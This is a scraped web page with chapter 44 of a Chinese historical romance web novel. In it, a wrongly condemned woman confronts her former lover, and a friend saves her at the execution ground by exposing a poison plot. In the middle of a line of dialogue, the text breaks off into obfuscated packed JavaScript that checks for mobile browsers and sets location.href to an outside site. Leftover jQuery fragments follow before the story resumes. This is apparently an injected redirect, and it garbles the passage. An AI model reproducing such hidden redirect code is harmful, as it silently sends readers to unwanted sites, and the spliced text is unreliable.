44. 第四十四章

作品:《姑娘最是离经叛道

    许欢言转头,声色淡淡:“你来了?”


    “阿言,”于阮唤她,想说什么,可却不知从何说起,半晌只道:“对不起。”


    许欢言抬眸,步步逼近:“你对不起我什么呢?”


    话落不待他开口又道:“你不过是助纣为虐罢了。明知我无辜,却为保幕后之人硬将我推出去替死而已,你对不起我什么呢?”


    “不是这样的阿言,我是有苦衷的,你要信我。”


    “信你?”许欢言嗤笑,“曾经我的确信你。所以当你说你一定会查明真相还我清白,让我等你时,我是真的想等你。可过了这么久,你查到了什么?我又等到了什么呢?不过是年后问斩罢了。”


    “阿言......”于阮无话可说,只垂着头,低声唤她。


    见状,许欢言眯了眼,快步走到门边,神色稍软,颇有几分自暴自弃之意:“阿阮,你能不能告诉我真相到底是什么?就算死,也不能做个糊涂鬼吧。”


    “阿言,”于阮抬头,带着苦笑:“你不必套我的话。”


    许欢言一愣,随后垂了头,低声嗤笑:“你是这般看我的?我只是想死个明白罢了,总不能到死,都不知道真正害我之人是谁吧。”


    “阿言,你只消知道,害你之人我一个都不会放过。”


    “既如此,他是谁?”许欢言追问。


    于阮皱眉:“现在还不能告诉你,待时机成熟,我自会为你翻案,送他下去陪你。”


    “现在不行吗?”许欢言蹙眉,“还有七日,我便要斩首了。”


    “阿阮,是你让我信你的。”


    许欢言定定地看着他,想从他眼中看出动摇,可最终,他只是叹气道:“阿言,对不起,但你一定要相信我,我是有苦衷的。”


    “有什么苦衷!你能有什么苦衷,不过是舍不下少主之位罢了!”


    “阿言!”于阮厉了声色,眉头紧拧:“你为何就不能体谅体谅我?张虎那般小人,你都不曾与他计较,为何就不能体谅体谅我呢?”


    许欢言简直要被气笑了:“我体谅你?体谅你什么?体谅你利欲熏心,体谅你草菅人命,体谅你懦弱自私吗?”


    “于阮,扪心自问,我不曾亏欠你,也没有对不起品珍楼过,你到底为何要这般害我?”


    于阮不语。


    许欢言看着,只觉可笑。


    她累了。


    过往种种,仿佛就在眼前,只那时满心欢喜,此刻,却觉好笑。


    “阿阮,凡事必有代价。我看错人,看走了眼,落得如今这般下场,这是我的代价,我认。那你的代价呢?苍天有眼,定不会放过你,我会在地府等你。”


    许欢言神色渐冷,字字句句,清晰如入耳:“今日过后,无论生死,你我,都再无瓜葛。日后阴曹地府,也见面不识!”


    “阿言!”


    于阮放声喊着,还欲再说什么,许欢言却是闭眸不理。


    待他走后,裴江遥才和屈鸿振从暗处走了出来。


    屈鸿振拍了拍他肩膀,无声叹气。


    裴江遥目送他离开后,这才走向许欢言。


    许欢言睁眼,耸肩抿笑:“被他看穿了。”


    “没事,无论如何,我都不会让你死。”


    许欢言抬眸,定定地看着他,半晌才道:“裴江遥,我好像不曾问过你,你到底为什么,对我这么好?”


    猝不及防、从未设想过的问题,裴江遥下意识应道:“想对你好便对你好了,还需要什么理由。”


    “阿遥,”许欢言叹气,缓了声:“你该有一个理由的。”


    从来没有无理由的好,任何好都是有代价的。


    裴江遥仔细想了想,半晌才道:“我拿你当知己好友,好友之间,不就该如此吗?”


    许欢言静静地看着他,许久才应:“好。”


    当真是赤子之心,不曾被污了半点。


    不知不觉,七日已过。


    这日清晨,便有牢役来送断头饭。


    真真是丰盛啊。


    许欢言默默想着,随即动筷。


    今儿是初七,难得的艳阳高照。


    被押着上囚车时,眼睛刺得睁不开。可恍惚间,还是听到有人喊她:“阿言!”


    抬手挡了挡,这才看清,“爹!”


    仍是那个食盒,只这次,里面装了酒。


    “爹,你的身体......”


    “无碍,”许老爹笑着斟满,递给她,问:“怕不怕?”


    许欢言接过,正要说话却见他自答道:“不怕,爹爹会一直陪着你。”


    话落,一饮而尽。


    许欢言瞧着,急急饮下。


    一路上,他都陪着她。


    待到刑场之时,他身上竟比她还脏乱,若不是那身囚服,恐怕众人只会当他才是刑犯。


    屈鸿振亲自监刑,眼看着时辰就要到了,心中只如热锅上的蚂蚁,急得七上八下。


    七日前,裴江遥来找他,说他还有法子,只是需要时间,若到行刑那日他还未来,烦请他派人提醒一二。


    可人已经派了两拨,仍不见他来。


    台下人急声催促,他只寻了需得分毫不差的由头,如今,也只剩半柱香了。


    与此同时,裴府


    张府医和裴江遥两人顶着乌黑的眼圈,说话都如游魂:“成了?”


    “成了!”


    “哈哈哈,成了!终于成了!”


    张府医激动地大跳,忙给晕倒在地不省人事的谈葫解毒。


    不待他醒,便有人来催,说是屈府尹派的人。


    闻言,裴江遥本沉重的眼皮顿时有了劲,忙支棱起来,扯着同样脚步虚浮的张府医往外跑,边跑边喊人备马。


    慌乱之中,张府医本能作祟急急扯过药箱拎在手里。


    两人一路狂奔,终是在最后一缕烟散尽时赶到。


    张府医一下马,就东倒西歪呕到不行。裴江遥虽然强点,但也头疼难耐,只揉着太阳穴大喊:“刀下留人!此案有冤!”


    见状,屈鸿振默默将手里的“斩”字牌放了回去,派人将他扶上来,急声问:“有何冤情,速速说来。”


    裴江遥道:“回大人,此毒名为落回,本无毒,可若遇上药引,则会瞬间毒发,致人昏迷不醒,状似死人。若无解药,终生都只能在床榻度过。”


    话音方落,人群中便有人问:“即使如此,也不能证明此事就与这歹人无关啊!”


    “就是!”


    众人附和间,裴江遥笑道:“别急啊,待我细细说来。”


    话落,缓缓开口:“此药配制极为复杂,所需药材都需数百种,药方更是早已失传。但好在我府中有一医师,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163262|163560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最善疑难杂症,孤本偏方也阅了无数。


    恰好,此药配方他就曾在一古籍上见过。在他的帮助下,我查遍城中药铺数年账册,本已无望。可,黄天不负有心,终是被我抓到了端倪。”


    “十年前,尚是玉雕行老的于则恰好就采购了这些药材。份量、品种,一一不差,诸位说巧不巧?更巧的是,至今昏迷不醒的那几人在出事前,也曾去过于府夜宴。此间种种,让人不得不遐想。”


    话音方落,便有人驳道:“那有如何,我也去了夜宴,怎不见我有佯?”


    “对啊,我也去了,现在不也好好的?”


    几人急急附和,裴江遥不急不忙反问:“敢问诸位,那日回府之时,可曾带了什么物件回家?”


    “那日于府失火,离府之时,确赠了熏香赔罪。”


    “那你可曾用了?”


    “咳咳,”那人不自在地清嗓,“我素来不喜安息香,太过甜腻,便搁置在旁。”


    “是以,你无恙。”裴江遥含笑点了他一下,后又看向一旁:“而你身边那位公子,当也是如此。”


    他所言有理有据,几人私下一问,竟当真如此!


    一时间,眸中都多出几分后怕。


    他们不曾发现,早在落回二字一出时,不远处一个乞儿便看了过来。此刻,正一瞬不瞬地盯着台上少年。


    裴江遥狐疑地看她两眼,稍稍后退两步,这才继续:“落回味大、色偏黄,且不溶于酒水,是以,火,便是最好的掩体。”


    “你什么意思!”台下有人愤愤出声。


    “意思就是,那天夜宴上的人,都中毒了。”裴江遥没好气道。


    一语惊起千层浪。


    方才还咄咄逼问的人,此刻也慌了起来,忙问如何解。


    现在知道慌了?


    裴江遥瞥他一眼,这才悠悠出声:“不过无碍,没接触到药引,便不会毒发。”


    “药引为何?”有人追问。


    “药引便是那安息香的主料,安息香。”


    话音方落,忽有一乞儿癫笑着冲了过来,扯着他的衣角,急急追问:“你所言可真?”


    “自是真。”裴江遥不解皱眉,往后扯了扯,没扯动。


    “哈哈哈!我就说爹爹是冤枉的!于则啊于则,十年前你便用这招冤死了我爹爹,如今竟还想冤了旁人去,好在苍天有眼,这人是个懂行的。”


    “哈哈哈哈哈,苍天怜我,苍天怜我啊!”


    看着那乞儿大笑离去,裴江遥仍一头雾水。


    此时,有人认出了她,“这人不是钟小姐?”


    “钟小姐?哪个钟小姐?”


    “还能有哪个钟小姐!前玉雕行首钟宏盛之女,钟慧月。”


    “她不是嫁人了吗?怎么落到如此地步!”


    “你傻啊,娘家获罪满门抄斩,虽祸不及出嫁女,可没了娘家撑腰,在夫家又能讨得什么好?”


    两人细细碎碎议论着,并未收声,众人都听得一清二楚。


    一时间,眸中都多出几分怜意。


    可钟慧月却浑然未觉,只狂笑着往外走。


    一切明了,屈鸿振派人去于家抓人,陈冤新案一起办。


    许欢言则被当场释放。


    甫一松开,还未来得及起身,便见下面有人喊“杀人了!救命啊!杀人了!”